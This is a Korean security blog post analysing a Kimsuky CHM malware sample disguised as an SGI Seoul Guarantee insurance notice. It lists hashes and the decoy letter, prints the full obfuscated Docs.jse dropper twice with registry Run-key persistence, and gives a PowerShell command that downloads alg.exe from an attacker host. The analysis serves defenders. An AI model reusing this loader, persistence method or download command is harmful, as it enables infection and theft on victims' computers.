꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky) 만든 SGI 서울보증 사칭 악성코드인 gic_info.chm에 대해 글을 적어 보겠습니다.김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크, 산업계, 원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요 인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며

그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있으며

해당 악성코드는 기본적으로 chm 형식으로 되어져 있습니다.
일단 해당 악성코드는 chm 확장자를 사용하고 있으며 Compiled HTML Help 의 약자로 마이크로소프트의 도움말 파일 형식입니다.
HTML 문서, 이미지, 스크립트 및 스타일 시트와 같은 웹 기술을 사용하여 제작되며 도움말 컨텐츠 인데 요즈음은 거의 사용을 하지 않고 대부분은 이제는 F1 서비스를 눌려 주면 온라인의 도움말로 가고 있습니다.

물론 파일 크기가 작은 경우에는 사용하고 있으며 용량들이 큰 프로그램들은 대부분은 온라인으로 대체하고 있습니다. 일단 손해 보험사이자 보증 보험 전업사인 SGI 서울보증으로 속이고 있으며 일단 기본적으로 chm 파일로 돼 있지만, 해당 파일을 실행하면 다음과 같이 동작을 하면 먼저 해쉬값은 다음과 같습니다.

sgic_info.html 실행
sgic_info.html 실행

사이즈:116 KB
CRC32:00a57844
MD5:b0bed133fa08e36d05f0361aefa5cbd1
SHA-1:4474f7c8b1ee45d868e201de900f6a3d85e75ca4
SHA-256:5071a29f42689c6d83de6fc16bbc6272b50ff06a53c721f34b0d94a29112bba6
ITSF(Indexed Tagged Storage Format) 포멧으로 되어져 있는것이 특징이면 이제는 한 번에 나는 너에게 분석을 쉽게 하지 않겠다는 의지가 보이는 느낌이 드네요.

ProcessMonitor 본 악성코드 실행 과정
ProcessMonitor 본 악성코드 실행 과정

C\Windows\hh.exe 에 있는 hh.exe 파일을 통해서 다음 명령어를 사용합니다.
C:\Windows\hh.exe" -decompile C:\Users\Public\Libraries C:\Users\admin\AppData\Local\Temp\sgic_info.chm
해당 명령어는 C:\Windows\hh.exe 을 사용하여 CHM 파일을 디컴파일하는 명령어
CHM 파일은 Microsoft Compiled HTML Help 파일로 도움말 및 문서 형식의 파일 디컴파일(decompile)은 CHM 파일의 내용을 원래 소스 형식인 HTML 파일로 추출하는 작업을 진행합니다.
1.C:\Windows\hh.exe:윈도우 의 hh.exe 는 HTML 도움말 뷰어 이를 사용하여 CHM 파일을 디컴파일하려는 목적으로 실행
2.-decompile:hh.exe에 전달되는 옵션 CHM 파일을 디컴파일하는 작업을 지시
3.C:\Users\Public\Libraries:디컴파일된 파일이 저장될 디렉터리 경로 디컴파일된 HTML 파일들이 여기에 저장
4. C:\Users\admin\AppData\Local\Temp\sgic_info.chm:디컴파일할 대상 CHM 파일의 경로
해당 명령어를 실행하면 sgic_info.chm 파일의 내용이 디컴파일 되어

C:\Users\Public\Libraries 디렉터리에 HTML 파일로 추출
먼저 chm 파일을 실행하면 도움말 파일이 열리지만 실제로는 다음 경로에 압축을 풀게 돼 있습니다.
C:\Windows\System32\wscript.exe" C:\Users\Public\Libraries\Docs.jse P
그리고 C:\Users\Public\Libraries 로 이동을 하면 악성코드들이 풀려 있는 것을 확인할 수가 있습니다.

Libraries 에 있는 악성코드 파일들
Libraries 에 있는 악성코드 파일들

그리고 다음과 같은 파일들을 생성합니다.
Docs.jse(548e6a6d4c349b36b6f46949ac7e6e3b)
RecordedTV(793ae915ab19520cb3508630b51e289e)
sgic_info.html(4cc6398973af2a0041283357cee19245)
이며 실제로는 Docs.jse 가 제일 중요도가 높으며 sgic_info.html는 가짜 보증보험계약현황 입니다.
해당 html 파일을 실행하면 다음과 같은 글을 확인할 수가 있습니다.

고객님
보증보험계약현황(안내)
Your Best Credit Partner,
SGI서울보증을 이용해주셔서 감사합니다.
고객님들께 더욱더 편리하고 다양한 보증서비스를 제공하기
위하여 항상 노력하는 SGI서울보증이되겠습니다.
본 안내문은 보험업감독규정 제 7-45조(보험상품의 공시 등)
제2항 제 4호에 근거하여 발송되는 안내문으로서, 고객님께서 가입하신
보험계약 내용을 다음과 같이 안내하여 드립니다.
2023년 6월 31일 기준, 1년 이상 유지된 보증보험계약은 총 2건이고,
그중 가장 먼저 가입하신 보증보험계약의 현황은 다음과 같습니다.
보증보험 계약 현황
상품 	생활안정 피보험자 씨제이대한통운사내근로복지기금
보험가입금액 33,000,000 보험기간2020.02.28 ~ 2025.02.21
증권번호 100-000-201700703742 	발급지점 	명동지점
보증내용 생활자금 대여계약에 따른 대여금 상환채무보증
비고 생활자금 대여계약
보험 가입현황 상세조회 및 상담안내
☞ 영업지점(명동지점:02-753-0021)
☞보험대리점(명동탑대리점:02-774-0015) 또는 고객콜센터(1670-7000)를 통해 
문의하시거나 SGI서울보증보험 홈페이지(www.sgic.co(.)kr)에서
공인인증서 로그인 하신 후 "조회서비스-계약조회"에서 해당 내용을
조회하시면 보험가입현황을 상세조회하실 수 있습니다.
앞으로도 SGI서울보증은 고객을 위한 최고의 보증기관으로서,
더욱 신뢰받고 믿음을 주는 금융회사가 되도록 최선을 다해 노력하겠습니다. 감사합니다.
라고 돼 있는 것을 확인할 수가 있습니다.

Docs.jse 내용
Docs.jse 내용

일단 내용만 보면 일단 진짜 보증보험 계약서처럼 보이지만 실제로는 그냥 가짜이며 씨제이대한통운사내근로복지기금 이라는 것을 보면 CJ 대한통운을 노린 것 같은 느낌이 듭니다.
그리고 나서 
Docs.jse가 제일 코드를 자바스크립트 코드를 보면 다음과 같이 돼 있습니다.

function d(s) {
  var t = "";
  for (var i = 0; i < s.length; i++) {
    var ascii = s.charCodeAt(i);
    var c = String.fromCharCode(ascii);
    if (ascii == 42) c = String.fromCharCode(92);
    else if (ascii == 36) c = String.fromCharCode(47);
    else if (ascii == 126) c = String.fromCharCode(58);
    else if (ascii == 124) c = String.fromCharCode(46);
    else if (ascii == 33) c = String.fromCharCode(37);
    else if (ascii == 35) c = String.fromCharCode(38);
    else if (ascii == 61) c = String.fromCharCode(95);
    else if (65 <= ascii && ascii <= 90)
    c = String.fromCharCode((ascii - 65 + 15) % 26 + 65);
    else if (97 <= ascii && ascii <= 122)
    c = String.fromCharCode((ascii - 97 + 15) % 26 + 97);
    t = t.concat(c);
  }
  return t;
}
var w = new ActiveXObject(d("HDnctae|Dspww"));
if (WScript.Arguments.length > 0) {
  w.RegWrite(d("SVPJ=NFCCPYE=FDPC*DZQEHLCP*Xt(n)czdzqe*Htyozhd*NfccpyeGpcdtzy*Cfy*Oznfxpye"),
  d("N~*Fdpcd*Afmw(t)n*Wtmclctpd*Oznd|udp"), d("CPR=DK"));
}
w.run(d("nxo $n azhpc(d)spww thc -zfeq !exa!*lwr|pip see(a)d~$$octxmj|eza$hyoqt
# delce !exa!*lwr|pip"), 0, false)

해당 코드를 설명하면 다음과 같습니다.

// 문자열을 변환하는 함수
function d(s) {
  var t = ""; // 변환된 문자열을 저장할 변수
  for (var i = 0; i < s.length; i++) {
    var ascii = s.charCodeAt(i); // 현재 문자의 ASCII 코드
    var c = String.fromCharCode(ascii); // 변환된 문자
    // 특정 ASCII 코드에 따라 다른 문자로 변환
    if (ascii == 42) c = String.fromCharCode(92); // '*' -> '\'
    else if (ascii == 36) c = String.fromCharCode(47); // '$' -> '/'
    else if (ascii == 126) c = String.fromCharCode(58); // '~' -> ':'
    else if (ascii == 124) c = String.fromCharCode(46); // '|' -> '.'
    else if (ascii == 33) c = String.fromCharCode(37); // '!' -> '%'
    else if (ascii == 35) c = String.fromCharCode(38); // '#' -> '&'
    else if (ascii == 61) c = String.fromCharCode(95); // '=' -> '_'
    // 알파벳 대문자와 소문자의 경우, 15칸 앞으로 이동하며 순환하여 변환
    else if (65 <= ascii && ascii <= 90) c = String.fromCharCode((ascii - 65 + 15) % 26 + 65);
    else if (97 <= ascii && ascii <= 122) c = String.fromCharCode((ascii - 97 + 15) % 26 + 97);
    t = t.concat(c); // 변환된 문자를 결과에 추가
  }
  return t; // 변환된 문자열 반환
}

// 암호화된 문자열을 해독하여 ActiveXObject 생성
var w = new ActiveXObject(d("HDnctae|Dspww"));

// 명령줄 인수가 있는 경우 레지스트리에 값을 쓰는 작업 수행
if (WScript.Arguments.length > 0) {
  w.RegWrite(d("SVPJ=NFCCPYE=FDPC*DZQ(E)HLCP*Xtnczdzqe*Htyozhd*NfccpyeGpcdtzy*Cfy*Oznfxpye"), 
             d("N~*Fdpcd*Afmwtn*Wtmclct(p)d*Oznd|udp"), 
             d("CPR=DK"));
}

// 해독된 문자열을 실행
w.run(d("nxo $n azhp(c)dspww thc -zfeq !exa!*lwr|pip seead~$$octxmj|eza$hyo(q)t # delce !exa!*lwr|pip"), 0, false);

그리고 해당 코드를 실행하면 다음과 같이 PowerShell를 이용을 해서 악성코드를 다운로드 합니다.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"  iwr -outf C:\Users\????\AppData\Local\Temp\alg.exe https://drimby(.)top/wndfi

이며 설명은 다음과 같습니다.
PowerShell을 사용하여 원격에서 파일을 다운로드하고 실행하는 작업을 수행
아래는 주어진 명령어의 세부 내용을 설명
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:
해당 부분은 시스템의 PowerShell 실행 파일의 경로를 나타내며 PowerShell은 윈도우 운영 체제에서 스크립트 실행 및 자동화 작업을 수행하는 데 사용되는 강력한 도구입니다. 이것을 이용해서 다음 명령어를 실행합니다.

ProcessMonitor 본 악성코드 실행 과정
ProcessMonitor 본 악성코드 실행 과정

iwr -outf C:\Users\????\AppData\Local\Temp\alg.exe https://drimby(.)top/wndfi:
해당 부분은 웹 리소스를 다운로드하고 실행하는 작업을 수행 
iwr:Invoke-WebRequest의 약어 웹 리소스를 다운로드하는 PowerShell 명령어
-outf C:\Users\????\AppData\Local\Temp\alg.exe:다운로드한 리소스를 특정 파일 경로에 저장합니다. 여기서는 C:\Users\???\AppData\Local\Temp\alg.exe에 파일을 저장합니다.

악성코드 powershell 실행
악성코드 powershell 실행

2023-08-13 21:45:07 UTC 기준 바이러스토탈에서 탐지하는 보안업체들은 다음과 같습니다.
AhnLab-V3:Trojan/CHM.Agent
ALYac:Heur.BZC.UGZ.Boxter.1.0D72E7F3
Antiy-AVL:Trojan/Generic.ASSuf.A9A15
Arcabit:Heur.BZC.UGZ.Boxter.1.0D72E7F3
Avast:Other:Malware-gen [Trj]

다운로드 된 alg.exe
다운로드 된 alg.exe

AVG:Other:Malware-gen [Trj]
BitDefender:Trojan.GenericKD.68677881
Cyren:JS/Downldr.UG
Emsisoft:Trojan.GenericKD.68677881 (B)
eScan:Trojan.GenericKD.68677881
ESET-NOD32:JS/Agent.QXE
GData:Trojan.GenericKD.68677881
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.HTML.Generic.4!c
MAX:Malware (ai Score=86)
McAfee-GW-Edition:Artemis!Trojan
NANO-Antivirus:Trojan.Script.Heuristic-js.iacgm
QuickHeal:Script.Trojan.A8705659
Symantec:Trojan.Gen.NPE
Tencent:Script.Trojan.Generic.Qwhl
Trellix (FireEye):Trojan.GenericKD.68677881
VIPRE:Heur.BZC.UGZ.Boxter.1.0D72E7F3
ViRobot:HTML.S.Phishing.119533
ZoneAlarm by Check Point:HEUR:Trojan.Script.Generic
기본적인 보안 수칙을 잘 지키면 요즈음 chm 형식은 웬만하면 사용을 하지 않고 그리고 중요한 것은 기본적으로 백신 프로그램들은 사용하는 것이 좋은 방법이며 그리고 먼저 가상환경에서 자신에게 맞는 것을 선택해서 평가 버전을 사용을 해보고 이용을 하는 것을 추천하면 나는 돈을 투자할 금전이 있다고 하다면 AV-TEST에서 좋은 평가를 받은 백신 프로그램을 사용하시길 바랍니다.
요약: 씨제이대한통운사내근로복지기금 이라는 것을 보면 아마도 CJ 대한통운이라는 택배 회사를 노린 것으로 보입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band